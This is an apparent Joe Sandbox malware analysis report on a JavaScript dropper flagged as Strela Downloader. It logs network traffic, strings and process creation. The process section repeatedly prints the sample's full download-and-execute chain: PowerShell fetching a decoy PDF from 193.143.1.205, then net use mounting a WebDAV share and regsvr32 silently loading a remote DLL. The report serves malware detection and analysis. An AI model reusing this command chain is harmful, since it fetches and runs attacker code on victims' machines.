6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:49422 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1728072800.00000233AB761000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1726389042.00000233AB76B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1791928031.0000023919098000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791928031.00000239190EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1791928031.00000239190CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1791928031.00000239190CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/K
Source: net.exe, 00000006.00000002.1791928031.00000239190CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/O
Source: net.exe, 00000006.00000002.1791928031.0000023919098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000008.00000002.3015858538.0000026107211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1806900309.0000026107108000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1806900309.0000026107108000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1806900309.0000026107108000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1806900309.000002610713D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1806900309.00000261071B2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1806900309.00000261071B2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1806900309.00000261071B2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7308, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 9748121671124198.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7364:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xdu0besw.kc5.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 9748121671124198.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2260 --field-trial-handle=1528,i,10806060758790697450,4186649136611924250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2260 --field-trial-handle=1528,i,10806060758790697450,4186649136611924250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
